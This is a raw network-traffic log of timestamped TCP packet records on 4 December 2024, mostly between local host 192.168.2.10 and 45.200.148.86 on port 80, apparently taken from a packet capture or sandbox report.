Dec 4, 2024 15:12:32.026444912 CET	49802	443	192.168.2.10	49.12.121.47
Dec 4, 2024 15:12:32.038625956 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.046209097 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.046267986 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.046278954 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.046354055 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.046381950 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.046397924 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.046410084 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.046411037 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.046417952 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.046453953 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.047949076 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.047961950 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.047976017 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.048007011 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.048038960 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.048069954 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.048155069 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.048166037 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.048197031 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.048372030 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.048384905 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.048396111 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.048410892 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.048412085 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.048435926 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.048527002 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.048571110 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.048583984 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.048592091 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.048623085 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.048737049 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.048960924 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.048979998 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.048991919 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.049020052 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.049046040 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.049101114 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.049124002 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.049135923 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.049156904 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.049164057 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.049206018 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.049349070 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.049808025 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.049858093 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.049887896 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.049901009 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.049949884 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.050009966 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.050023079 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.050064087 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.050071955 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.050429106 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.050482035 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.050493002 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.050523043 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.050551891 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.050658941 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.050666094 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.050668001 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.050679922 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.050708055 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.050724983 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.050859928 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.051280975 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.051338911 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.051350117 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.051383972 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.051410913 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.051523924 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.051536083 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.051547050 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.051558971 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.051573038 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.051599979 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.051762104 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.052198887 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.052239895 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.052251101 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.052277088 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.052305937 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.052356958 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.052608013 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.052648067 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.052660942 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.052674055 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.052720070 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.052865028 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.052880049 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.052891016 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.052905083 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.052917004 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.052942991 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.053066015 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.053505898 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.053554058 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.053580999 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.053594112 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.053637028 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.053708076 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.053755999 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.053766966 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.053811073 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.187074900 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.187108040 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.187119007 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.187144995 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.187165976 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.187196970 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.187211990 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.187221050 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.187228918 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.187263966 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.187278032 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.187393904 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.189014912 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.189049959 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.189065933 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.189080000 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.189120054 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.189197063 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.189213991 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.189260006 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.189331055 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.189343929 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.189383030 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.189449072 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.189512014 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.189524889 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.189565897 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.189662933 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.189677000 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.189718962 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.189812899 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.189825058 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.189847946 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.190217018 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.190279961 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.190291882 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.190295935 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.190327883 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.190454006 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.190470934 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.190483093 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.190495014 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.190505981 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.190546036 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.190943956 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.191018105 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.191030025 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.191061974 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.191179037 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.191193104 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.191205978 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.191219091 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.191232920 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.191263914 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.191365957 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.191441059 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.191875935 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.191936970 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.191948891 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.191983938 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.192130089 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.192142010 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.192162991 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.192194939 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.192222118 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.238243103 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.238272905 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.238285065 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.238322973 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.238431931 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.238444090 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.238461971 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.238485098 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.238522053 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.238564014 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.239871025 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.239922047 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.239948034 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.239953995 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.240053892 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.240083933 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.240088940 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.240119934 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.240281105 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.240292072 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.240303993 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.240329981 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.240448952 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.240459919 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.240478039 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.240504980 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.240525007 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.240621090 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.240643978 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.240645885 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.240648031 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.240652084 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.240693092 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.241302967 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.241364956 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.241375923 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.241406918 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.241439104 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.241485119 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.241570950 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.241581917 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.241592884 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.241605043 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.241622925 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.241648912 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.242197990 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.242218971 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.242233038 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.242250919 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.242266893 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.242507935 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.242517948 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.242561102 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.242630959 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.242718935 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.242729902 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.242779016 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.242856979 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.242870092 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.242916107 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.243050098 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.243061066 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.243073940 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.243096113 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.243119001 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.243582964 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.243694067 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.243705988 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.243752956 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.243897915 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.243915081 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.243927002 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.243944883 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.243952990 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.243978024 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.244048119 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.244093895 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.244510889 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.244577885 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.244590044 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.244622946 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.244649887 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.244735003 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.244997978 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.245062113 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.245074034 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.245100975 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.245228052 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.245239973 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.245250940 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.245268106 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.245279074 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.245301008 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.245466948 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.245587111 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.245774984 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.245835066 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.245856047 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.245873928 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.245935917 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.245963097 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.245974064 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.245996952 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.246017933 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.298912048 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.379300117 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.379329920 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.379343033 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.379384041 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.379455090 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.379467964 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.379478931 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.379488945 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.379492044 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.379523993 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.381057024 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.381119967 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.381130934 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.381145000 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.381179094 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.381300926 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.381313086 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.381325006 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.381337881 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.381356001 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.381375074 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.381495953 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.381545067 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.381607056 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.381660938 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.381772995 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.381813049 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.381820917 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.381825924 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.381855011 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.381920099 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.381934881 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.381989956 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.382184029 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.382255077 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.382282972 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.382313013 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.382381916 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.382426977 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.382456064 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.382467985 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.382503033 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.382620096 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.382987976 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.383054018 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.383073092 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.383088112 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.383137941 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.383198023 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.383213997 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.383228064 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.383256912 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.383349895 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.383363962 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.383407116 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.383908033 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.383989096 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.383996010 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.384010077 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.384047985 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.384120941 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.384135962 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.384147882 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.384174109 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.430383921 CET	80	49792	45.200.148.86	192.168.2.10
